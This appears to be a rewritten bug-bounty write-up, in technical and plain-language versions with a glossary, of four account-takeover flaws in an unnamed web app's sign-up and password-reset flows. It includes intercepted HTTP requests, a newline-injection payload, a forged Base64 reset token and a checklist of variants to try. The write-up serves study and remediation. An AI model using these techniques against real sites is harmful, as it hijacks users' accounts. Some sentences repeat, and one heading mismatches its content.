1. Account Takeover through Sign-up functionality.
The application allowed an attacker to take over other users' accounts through multiple flaws: a sign-up endpoint that accepted an email with a trailing newline to bypass duplicate checks, a password reset endpoint that trusted a client-supplied email parameter, a password reset token that was just Base64-encoded user ID and email, and a reusable reset token. An attacker could reset a victim's password and log in as them.
Published on medium.com
Hi folks, I tested an application that was too vulnerable. So, I thought about writing Account takeover test cases.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is a web application whose company name the researcher chose not to disclose, referring to it throughout as "company" and using www.company.com in the captured traffic. The features involved are the ordinary account lifecycle ones: a sign-up form, a login page with a "forget password" flow, a password reset page reached from an emailed link, and public user profiles. The write-up covers four separate paths to account takeover in those features, each reproduced against the same application.
Setup
The researcher worked with three accounts:
| Role | State | |
|---|---|---|
| Victim | [redacted] | registered |
| Attacker | [redacted] | registered |
| Dummy | [redacted] | unregistered |
Requests were captured and edited in Burp Suite's Repeater tab. The captured browser traffic identifies Firefox 76.0 on macOS 10.15. One precondition matters for the first finding: verification mails were not being sent by the website, so a newly created account was usable without confirming the address.
Finding it
The sign-up form validated the email field on every keystroke, firing a request to check whether the address was already registered. That check is client-facing only, so the researcher looked at what the server itself did with the email parameter in the registration request. The password reset flow was interesting for a different reason: the reset link carried a token that decoded cleanly from Base64 to a user ID and an email address, and the reset submission carried the email address again as a form parameter.
Exploitation
1. Account takeover through sign-up
The researcher filled in the form with the unregistered address [redacted] and intercepted the registration request. As a first experiment the response of the email-check request for a registered address was flipped from false to true, purely to get past the client-side check; that alone achieved nothing.
The original registration request:
POST /user/register HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Origin: https://www.company.com
Connection: close
Referer: https://www.company.com/user/sign-up
Cookie: [redacted]
firstName=test&lastName=test&password=test1&ComparePassword=test1&email=[redacted]
Changing the email to the victim's address was rejected:
firstName=test&lastName=test&password=test1&ComparePassword=test1&email=[redacted]
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15724800; includeSubDomains
Expires: Wed, 01 April 2020 06:13:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 01 April 2020 06:13:18 GMT
Content-Length: 58
Connection: close
{"staus":"error","registerStatus":false,"redirect_to":"/"}
So the server did refuse a duplicate address. The researcher then appended %0a (a newline) to the address:
firstName=test&lastName=test&password=test1&ComparePassword=test1&email=[redacted]%0a
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15724800; includeSubDomains
Expires: Wed, 01 April 2020 06:13:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 01 April 2020 06:13:26 GMT
Content-Length: 41
Connection: close
Set-Cookie: userid=398433;domain=www.company.com;path=/
{"registerStatus":true,"redirect_to":"/"}
Appending the newline made the registration succeed where the plain victim address had been refused, and the response set a userid cookie with registerStatus:true. The response set a userid cookie and reported registerStatus:true. Loading the site in the browser with that session gave access to the victim's account.
2. Account takeover through password reset
The researcher went to the login page, clicked "forget password", submitted the attacker's own address, received the reset mail, followed the link and filled in a new password and confirmation. The submission was intercepted:
POST /user/password-reset-done HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 80
Origin: https://www.company.com
Connection: close
Referer: https://www.company.com/user/reset-password/[redacted]==
Cookie: [redacted]
email=[redacted]&[redacted]&confirm_password=Security@1
The email parameter was changed to the victim's address, leaving the token in the Referer untouched:
email=[redacted]&[redacted]&confirm_password=Security@1
HTTP/1.1 200 OK
Content-Type: application/json
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15724800; includeSubDomains
Expires: Wed, 1 Apr 2020 07:20:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 1 Apr 2020 07:20:44 GMT
Content-Length: 20
Connection: close
{"status":"success"}
The server accepted the change and answered {"status":"success"}. Logging in with the victim's address and the password just set gave access to the victim's account. Changing the email parameter to the victim's address while keeping the attacker's token in the Referer returned {"status":"success"}.
3. Account takeover through a weakly implemented reset token
A note before this one: any user can view other users' profiles, and a profile exposes the user ID and email address.
The researcher requested a reset for the attacker's own address and looked at the link in the mail:
https://www.company.com/user/reset-password/[redacted]==
The token was Base64. Decoding it:
Encoded Value: [redacted]==
Decoded Value: 397695,[redacted]
The token decoded to the user ID and the email address joined by a comma. The researcher visited the victim's profile and collected the victim's user ID (397694) and email address, then built the equivalent string and encoded it:
Normal value to be Base64 Encoded : 397694,[redacted]
Base64 Encoded Password Reset Token:
Mzk3Njk0LHZpY3RpbUBnbWFpbC5jb20=
The attacker's URL was replaced with the forged one:
Visiting the forged URL produced a password reset page for the victim. Submitting a new password and confirmation returned 200 OK with success, and logging in with the victim's address and the new password gave access to the victim's account.
4. Account takeover through a reusable reset token
This variant assumes the user ID cannot be obtained, only the email address. The researcher again requested a reset for the attacker's address and decoded the token exactly as before, confirming the same 397695,[redacted] structure.
With the victim's email address from the profile but no user ID, the approach was to guess the ID. The researcher describes the unforged URL as:
https://www.company.com/user/reset-password/1,[redacted]
and wrote a Python script that increments the user ID, encodes (integer,Victim-Email) in Base64, sends the request to each forged URL and checks the response. Requests that returned a 3XX response code and showed that URL in the output were printed. Visiting the URL the script surfaced allowed the victim's password to be reset, and the researcher then had access to the victim's account.
Root cause
Four separate weaknesses, all in account handling:
- The duplicate-email check on registration compared the raw input, so a trailing newline (
%0a) made the address look new while the account was still created for the victim's address. The client-side email check was never a security control, and the server-side check was defeated by a character it did not normalise. - The password reset completion endpoint took the target account from the
emailform parameter instead of from the token, so a valid token for one account could set the password of another. - The reset token was a Base64 encoding of
userID,email, with no secret, signature or expiry binding it to a request. Anyone who can read a profile can mint a token for that user. - The token was predictable from the user ID and email, and because the user ID is an integer, it can be enumerated; the researcher's script walked IDs until a reset page answered with a redirect.
Impact
Each of the four paths ends in full takeover of another user's account: the attacker sets or creates credentials for the victim's address and logs in as them. The first needs only the victim's email address and the registration form. The second needs a reset token for any account the attacker controls. The third needs the victim's user ID and email, both exposed on public profiles. The fourth needs the victim's email address and a way to enumerate user IDs. The researcher's own framing is that the application was "too vulnerable"; the report does not describe how the company responded or what was changed.
Fix
Normalise and canonicalise email addresses before the duplicate check and before storage, and reject control characters such as newlines. Bind the reset completion to the account identified by the token, ignoring any email supplied in the body. Replace the predictable token with a random, single-use value stored server-side with an expiry, and invalidate it after use. The report does not state which of these the company implemented.
Variants to test
- Append
%0a,%00, a trailing space or mixed case to a registered address in sign-up and see whether the server creates an account for it. A positive result is a success response and a session cookie for the victim's address. - Change the
emailparameter in a password reset submission while keeping a token issued for your own account. A positive result is a success response and a login as the other user. - Base64-decode reset tokens and look for structured data such as
id,email. A positive result is a token you can rebuild for another user from public profile data. - Enumerate user IDs against the reset URL and watch for 3XX responses. A positive result is a reset page for an account you do not own.
- Reuse a reset token after it has been used once. A positive result is a second successful reset with the same link.
What happened, in plain words
A security researcher tested a website and found four different ways to take over someone else's account. The company is not named in the write-up, so it is called "company" throughout, and the example address used in the captured traffic is www.company.com.
"Account takeover" means logging in as another person without their permission. Once you are inside their account you can read their data, change their settings, or lock them out by changing their password. It is one of the most serious things you can find on a website, because it affects real users directly.
The four paths all live in the ordinary parts of a website that every user touches: the sign-up form, the "forget password" flow, the page where you type a new password, and public user profiles. None of them required special tools beyond a browser and a program that lets you pause and edit the requests your browser sends.
Before going further, two ideas you need:
- A request is the message your browser sends to a website's server when you click a button or submit a form. It contains the address you are talking to, some headers (extra information about the request), and often a body with the data you typed.
- An API is the part of a website that answers those requests with data rather than a pretty page. When a form is submitted, the browser usually talks to an API behind the scenes. The API is what actually decides whether to create an account or reset a password.
The setup
The researcher used three accounts:
| Role | State | |
|---|---|---|
| Victim | [redacted] | registered |
| Attacker | [redacted] | registered |
| Dummy | [redacted] | unregistered |
- The victim is the person whose account gets taken over.
- The attacker is the researcher's own account, used as a starting point.
- The dummy is an email address that does not yet have an account, used to see what the sign-up form does with a fresh address.
To capture and edit requests, the researcher used Burp Suite, a tool that sits between your browser and the website. It lets you see every request your browser makes, change it, and send it again. The Repeater tab inside Burp Suite is where you paste a request, edit it, and press send as many times as you like. Think of it like a word processor for requests: you can change one word and resend without filling in the form again.
The captured traffic shows the browser was Firefox 76.0 on macOS 10.15. That detail matters only because it tells you what the original requests looked like.
One precondition matters for the first finding: the website was not sending verification emails. Normally, when you sign up, the site sends you a link to click to prove the address is yours. Here that email never arrived, so a newly created account was usable straight away without confirming anything. That is not a vulnerability by itself, but it removes a safety net.
Finding it
The sign-up form checked the email field on every keystroke. Each time you typed a character, the browser sent a request to the server asking "is this address already registered?". That check is only there to give you a nice message like "this email is already in use". It is a convenience for the user, not a security control, because anyone can skip it. The researcher therefore looked at what the server itself did with the email parameter when the registration request arrived.
The password reset flow was interesting for a different reason. The link in the reset email carried a token, which is a short string that identifies the reset request. In this case the token decoded cleanly from Base64 into a user ID and an email address. Base64 is a way of writing any data using only letters, numbers and a couple of symbols, so it can travel safely in a URL. It is not encryption: anyone can decode it. The reset submission also carried the email address again as a form field, which suggested the server might be trusting that field.
Exploitation
1. Account takeover through sign-up
The researcher filled in the form with the unregistered address [redacted] and intercepted the registration request. As a first experiment, the response of the email-check request for a registered address was flipped from false to true, purely to get past the client-side check. That alone achieved nothing, which is the point: the browser-side check is not where the security lives.
The original registration request:
POST /user/register HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Origin: https://www.company.com
Connection: close
Referer: https://www.company.com/user/sign-up
Cookie: [redacted]
firstName=test&lastName=test&password=test1&ComparePassword=test1&email=[redacted]
Line by line:
POST /user/register HTTP/1.1is the method and path. POST means "I am sending data to create something"./user/registeris the address on the server that handles sign-ups.Host: www.company.comsays which website the request is for.User-Agentidentifies the browser and operating system.AcceptandAccept-Languagetell the server what kind of response the browser can handle and in what language.Content-Type: application/x-www-form-urlencodedsays the body is formatted like a URL query string, withkey=valuepairs joined by&.X-Requested-With: XMLHttpRequestis a header the browser adds when the request comes from JavaScript rather than a full page load.Content-Lengthis the size of the body in bytes.OriginandReferertell the server where the request came from.Refererhere is the sign-up page.Cookieis a small piece of data the browser stores for the site and sends back with every request. It is how the site remembers who you are between page loads. The value is redacted here because it is a session secret.- The blank line separates headers from the body.
- The body contains the form fields: first name, last name, password, password confirmation, and the email address.
Changing the email to the victim's address was rejected:
firstName=test&lastName=test&password=test1&ComparePassword=test1&email=[redacted]
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15724800; includeSubDomains
Expires: Wed, 01 April 2020 06:13:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 01 April 2020 06:13:18 GMT
Content-Length: 58
Connection: close
{"staus":"error","registerStatus":false,"redirect_to":"/"}
What this response says:
HTTP/1.1 200 OKmeans the server processed the request. A 200 status does not mean success; it only means the server answered. The actual result is in the body.- The
X-XSS-Protection,X-Frame-Options,X-Content-Type-OptionsandStrict-Transport-Securityheaders are security settings the server sends to the browser. They are not related to the bug. Expires,Cache-ControlandPragmatell the browser and any proxy not to cache the response.Dateis when the server answered.Content-Lengthis the size of the body.- The body is JSON, a text format for structured data. It says
"staus":"error"(a typo for status in the original),"registerStatus":false, and"redirect_to":"/". In plain words: the server refused to create the account.
So the server did refuse a duplicate address. The researcher then appended %0a (a newline character, encoded for a URL) to the address:
firstName=test&lastName=test&password=test1&ComparePassword=test1&email=[redacted]%0a
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15724800; includeSubDomains
Expires: Wed, 01 April 2020 06:13:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 01 April 2020 06:13:26 GMT
Content-Length: 41
Connection: close
Set-Cookie: userid=398433;domain=www.company.com;path=/
{"registerStatus":true,"redirect_to":"/"}
What changed:
- The body now says
"registerStatus":true, so the account was created. Set-Cookie: userid=398433;domain=www.company.com;path=/tells the browser to store a cookie nameduseridwith the value398433. That cookie is the session identifier: it is how the site knows which account you are logged in as.domainandpathsay where the cookie applies.
With the newline appended, the server created the account and returned registerStatus:true with a userid cookie, and loading the site gave access to the victim's account. In other words, the duplicate check compared the raw text including the newline, saw something different from the stored address, and let it through. The account was then created for the victim's address. Loading the site in the browser with that session gave access to the victim's account.
2. Account takeover through password reset
The researcher went to the login page, clicked "forget password", submitted the attacker's own address, received the reset mail, followed the link and filled in a new password and confirmation. The submission was intercepted:
POST /user/password-reset-done HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 80
Origin: https://www.company.com
Connection: close
Referer: https://www.company.com/user/reset-password/[redacted]==
Cookie: [redacted]
email=[redacted]&[redacted]&confirm_password=Security@1
Line by line:
POST /user/password-reset-doneis the endpoint that actually saves the new password. The word "done" suggests it is the final step after the user has typed the new password.- The headers are the same kind as before.
Refereris the page the browser came from. Here it is the reset page URL, and it contains the token[redacted]==. The server can see this header.- The body has three fields:
email,passwordandconfirm_password. The email is the attacker's own address.
The email parameter was changed to the victim's address, leaving the token in the Referer untouched:
email=[redacted]&[redacted]&confirm_password=Security@1
HTTP/1.1 200 OK
Content-Type: application/json
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15724800; includeSubDomains
Expires: Wed, 1 Apr 2020 07:20:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 1 Apr 2020 07:20:44 GMT
Content-Length: 20
Connection: close
{"status":"success"}
The server accepted the change and answered {"status":"success"}. Logging in with the victim's address and the password just set gave access to the victim's account. Changing the email field to the victim's address while the Referer still held the attacker's token returned {"status":"success"}. In plain words: the token proved the attacker had asked for a reset, but the server then looked at the email field to decide whose password to change. Since the attacker controls that field, they can point it at anyone.
3. Account takeover through a weakly implemented reset token
A note before this one: any user can view other users' profiles, and a profile exposes the user ID and email address. A user ID is a number the site uses internally to identify an account. It is not usually secret, but it should not be enough to reset someone's password.
The researcher requested a reset for the attacker's own address and looked at the link in the mail:
https://www.company.com/user/reset-password/[redacted]==
This is a URL. The part after /user/reset-password/ is the token. The researcher noticed it looked like Base64, so they decoded it:
Encoded Value: [redacted]==
Decoded Value: 397695,[redacted]
The token decoded to the user ID and the email address joined by a comma. A signature is a value computed with a secret key that proves the token was issued by the server and has not been changed. Without one, anyone who can guess the format can build a token for anyone else.
The researcher visited the victim's profile and collected the victim's user ID (397694) and email address, then built the equivalent string and encoded it:
Normal value to be Base64 Encoded : 397694,[redacted]
Base64 Encoded Password Reset Token:
Mzk3Njk0LHZpY3RpbUBnbWFpbC5jb20=
The attacker's URL was replaced with the forged one:
Visiting the forged URL produced a password reset page for the victim. Submitting a new password and confirmation returned 200 OK with success, and logging in with the victim's address and the new password gave access to the victim's account. Visiting the forged URL produced a password reset page for the victim, and submitting a new password returned 200 OK with success.
4. Account takeover through a reusable reset token
This variant assumes the user ID cannot be obtained, only the email address. The researcher again requested a reset for the attacker's address and decoded the token exactly as before, confirming the same 397695,[redacted] structure.
With the victim's email address from the profile but no user ID, the approach was to guess the ID. The researcher describes the unforged URL as:
https://www.company.com/user/reset-password/1,[redacted]
and wrote a Python script that increments the user ID, encodes (integer,Victim-Email) in Base64, sends the request to each forged URL and checks the response. Requests that returned a 3XX response code and showed that URL in the output were printed. A 3XX status is a redirect: the server is telling the browser to go somewhere else. In this case, a redirect on the reset URL meant the token was accepted and the reset page was being served.
Visiting the URL the script surfaced allowed the victim's password to be reset, and the researcher then had access to the victim's account. The script works because user IDs are small numbers that can be counted through one by one. This is called enumeration: trying every possible value until one works.
Root cause
Four separate weaknesses, all in account handling:
- The duplicate-email check on registration compared the raw input, so a trailing newline (
%0a) made the address look new while the account was still created for the victim's address. The client-side email check was never a security control, and the server-side check was defeated by a character it did not normalise. Normalising means cleaning up input into a standard form before comparing it. - The password reset completion endpoint took the target account from the
emailform parameter instead of from the token, so a valid token for one account could set the password of another. - The reset token was a Base64 encoding of
userID,email, with no secret, signature or expiry binding it to a request. Anyone who can read a profile can mint a token for that user. - The token was predictable from the user ID and email, and because the user ID is an integer, it can be enumerated; the researcher's script walked IDs until a reset page answered with a redirect.
Impact
Each of the four paths ends in full takeover of another user's account: the attacker sets or creates credentials for the victim's address and logs in as them. The first needs only the victim's email address and the registration form. The second needs a reset token for any account the attacker controls. The third needs the victim's user ID and email, both exposed on public profiles. The fourth needs the victim's email address and a way to enumerate user IDs. The researcher's own framing is that the application was "too vulnerable"; the report does not describe how the company responded or what was changed.
Fix
Normalise and canonicalise email addresses before the duplicate check and before storage, and reject control characters such as newlines. Bind the reset completion to the account identified by the token, ignoring any email supplied in the body. Replace the predictable token with a random, single-use value stored server-side with an expiry, and invalidate it after use. The report does not state which of these the company implemented.
Variants to test
- Append
%0a,%00, a trailing space or mixed case to a registered address in sign-up and see whether the server creates an account for it. A positive result is a success response and a session cookie for the victim's address. - Change the
emailparameter in a password reset submission while keeping a token issued for your own account. A positive result is a success response and a login as the other user. - Base64-decode reset tokens and look for structured data such as
id,email. A positive result is a token you can rebuild for another user from public profile data. - Enumerate user IDs against the reset URL and watch for 3XX responses. A positive result is a reset page for an account you do not own.
- Reuse a reset token after it has been used once. A positive result is a second successful reset with the same link.
Glossary
- Account takeover: logging in as another person without their permission, usually by changing their password or creating a new login for their address.
- API: the part of a website that answers requests with data rather than a rendered page; it is what actually performs actions like creating an account.
- Attacker: in this write-up, the researcher's own account, used as the starting point for the attack.
- Base64: a way of encoding any data using only letters, numbers and a few symbols so it can travel safely in a URL or email.
- Burp Suite: a tool that sits between your browser and a website so you can see, pause, edit and resend requests.
- Cookie: a small piece of data a website stores in your browser and asks for back on every request, used to remember who you are.
- Content-Length: a header stating the size of the request or response body in bytes.
- Content-Type: a header stating the format of the body, such as
application/x-www-form-urlencodedforkey=valuepairs. - Dummy account: an email address with no account yet, used to test what the sign-up form does with a fresh address.
- Enumeration: trying every possible value of something, such as a user ID, one by one until one works.
- Endpoint: a specific address on a server that handles one kind of request, such as
/user/register. - Header: extra information attached to a request or response, such as the browser type or the content format.
- JSON: a text format for structured data, using curly braces, quotes and colons.
- Normalise: clean up input into a standard form before comparing or storing it, so that small variations do not slip past checks.
- Origin: a header telling the server which site the request came from.
- Parameter: a named value in a request, such as
emailorpassword. - POST: an HTTP method meaning "I am sending data to the server", used for forms and actions.
- Referer: a header telling the server the URL of the page the browser came from.
- Repeater: the Burp Suite tab where you paste a request, edit it and resend it as many times as you like.
- Request: the message your browser sends to a server when you click a button or submit a form.
- Response: the message the server sends back, containing a status code, headers and usually a body.
- Session: the period during which a website remembers you as logged in, usually tracked by a cookie.
- Set-Cookie: a response header telling the browser to store a cookie.
- Signature: a value computed with a secret key that proves a token was issued by the server and has not been altered.
- Status code: a three-digit number at the start of a response. 200 means the server answered; 3XX means a redirect.
- Token: a short string that identifies a request or session, such as the value in a password reset link.
- User ID: a number the site uses internally to identify an account.
- Victim: the person whose account is taken over.
- X-Requested-With: a header the browser adds when a request comes from JavaScript rather than a full page load.